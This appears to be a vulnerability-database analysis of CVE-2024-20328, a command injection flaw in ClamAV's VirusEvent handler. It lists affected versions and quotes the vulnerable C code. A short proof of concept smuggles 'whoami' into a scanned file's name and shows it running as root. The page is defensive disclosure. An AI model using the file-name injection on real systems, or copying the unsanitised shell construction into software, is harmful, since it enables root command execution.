Attacker Value
Low
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2024-20328

Disclosure Date: March 01, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A vulnerability in the VirusEvent feature of ClamAV could allow a local attacker to inject arbitrary commands with the privileges of the application service account.The vulnerability is due to unsafe handling of file names. A local attacker could exploit this vulnerability by supplying a file name containing command-line sequences. When processed on a system using configuration options for the VirusEvent feature, the attacker could cause the application to execute arbitrary commands.
ClamAV has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Add Assessment

2
Ratings
Technical Analysis

ClamAV is a open-source antivirus engine that has been around for the past 21 years and runs on many different operating systems including for AIX, BSD, HP-UX, Linux, macOS, OpenVMS, OSF, Solaris and Haiku and as of version 0.97.5, ClamAV builds and runs on Microsoft Windows.

A command injection vulnerability exists in the following ClamAV versions:

  • 0.104 (all patch versions)
  • 0.105 (all patch versions)
  • 1.0.0 through 1.0.4 (LTS)
  • 1.1 (all patch versions)
  • 1.2.0 and 1.2.1

The command injection vulnerability allows users to execute commands in the context of the user running the ClamAV application, which is commonly a ClamAV daemon running as root though many other configurations are possible.

The vulnerability stems from the VirusEvent feature which is not enabled by default but can be configured in ClamAV’s conf file: /etc/clamav/clamd.conf. The feature is defined in the clamd.conf as follows:

# Execute a command when virus is found. In the command string %v will
# be replaced with the virus name and %f will be replaced with the file name.
# Additionally, two environment variables will be defined: $CLAM_VIRUSEVENT_FILENAME
# and $CLAM_VIRUSEVENT_VIRUSNAME.
# Default: no
#VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"

As stated in the definition above %v is the virus name and %f is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.

The VirusEvent feature is handled by the virusaction function which is defined in the file clamd/clamd_others.c:

void virusaction(const char *filename, const char *virname,
                 const struct optstruct *opts)
{
    pid_t pid;
    const struct optstruct *opt;
    char *buffer_file, *buffer_vir, *buffer_cmd, *path;
    const char *pt;
    size_t i, j, v = 0, f = 0, len;
    char *env[4];

    if (!(opt = optget(opts, "VirusEvent"))->enabled)
        return;

    path   = getenv("PATH");
    env[0] = path ? strdup(path) : NULL;
    j      = env[0] ? 1 : 0;
    /* Allocate env vars.. to be portable env vars should not be freed */
    buffer_file =
        (char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2);
    if (buffer_file) {
        sprintf(buffer_file, "%s=%s", VE_FILENAME, filename);
        env[j++] = buffer_file;
    }

    buffer_vir =
        (char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2);
    if (buffer_vir) {
        sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname);
        env[j++] = buffer_vir;
    }
    env[j++] = NULL;

    pt = opt->strarg;
    while ((pt = strstr(pt, "%v"))) {
        pt += 2;
        v++;
    }
    pt = opt->strarg;
    while ((pt = strstr(pt, "%f"))) {
        pt += 2;
        f++;
    }
    len = strlen(opt->strarg);
    buffer_cmd =
        (char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char));
    if (!buffer_cmd) {
        if (path)
            xfree(env[0]);

        xfree(buffer_file);
        xfree(buffer_vir);
        return;
    }
    for (i = 0, j = 0; i < len; i++) {
        if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') {
            strcat(buffer_cmd, virname);
            j += strlen(virname);
            i++;
        } else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') {
            strcat(buffer_cmd, filename);
            j += strlen(filename);
            i++;
        } else {
            buffer_cmd[j++] = opt->strarg[i];
        }
    }

    pthread_mutex_lock(&virusaction_lock);
    /* We can only call async-signal-safe functions after fork(). */
    pid = vfork();
    if (pid == 0) { /* child */
        _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
    } else if (pid > 0) { /* parent */
        pthread_mutex_unlock(&virusaction_lock);
        while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue;
    } else {
        pthread_mutex_unlock(&virusaction_lock);
        logg(LOGG_ERROR, "VirusEvent: fork failed.\n");
    }
    if (path)
        xfree(env[0]);

    xfree(buffer_cmd);
    xfree(buffer_file);
    xfree(buffer_vir);
}

The main purpose of the virusaction function is to handle a virus event as defined by the conf file discussed earlier. The function accepts a filename and a virname (virusname) and its output is a virus alert which is a command run by the following line of code:

  _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));

As we can control the inputs to the buffer_cmd command injection is trivial.

Example

If clamd.conf is configured to run an echo command when a VirusEvent is detected, like so:

VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"

Then the following file name will cause the whoami command to be executed and the output of the command will be redirected to stdout as defined by the VirusEvent.

echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout

Then we can see the whoami command being executed in the following output:

VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path
/host/crypto-miner/xmrig
root

References

https://securityonline.info/no-click-required-poc-available-for-clamav-command-injection-bug-cve-2024-20328/
https://amitschendel.github.io/vulnerabilites/CVE-2024-20328/

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • Cisco

Products

  • ClamAV

Additional Info

Technical Analysis